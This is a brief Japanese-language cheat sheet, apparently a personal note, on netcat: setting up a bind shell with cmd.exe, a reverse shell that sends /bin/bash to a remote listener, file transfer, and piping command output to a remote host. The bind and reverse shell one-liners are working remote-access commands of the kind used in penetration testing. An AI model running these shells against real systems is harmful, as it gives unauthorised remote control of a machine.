# ncを使ったバインドシェル他
# バインドシェル
バインドシェルは対象のportが空いてないと使えないことが難しいところ...
# ホスト
> nc.exe -lvp 5555 -e cmd.exe
1
-l: 待ち受け -v: vervose -p: port
# クライアント(対象)
$ nc xxx.xxx.xxx.xxx 5555
1
# リバースシェル
# ホスト
$ nc -lvp 5555
1
# クライアント(対象)
$ nc xxx.xxx.xx.xx 5555 -e /bin/bash
1
# ファイル転送
# 送る側
ポートを開いて受付をまつ
nc -lvp 4444 < hoge.txt
1
# 受け取る側
nc xxx.xxx.xxx.xxx 4444 > out.txt
1
# コマンドロギング
# ログ受け取り側
nc -lp 9999 >> log.txt
1
# 送る側(コマンドの実行結果)
date | nc -q 1 xxx.xxx.xxx.xxx 9999
1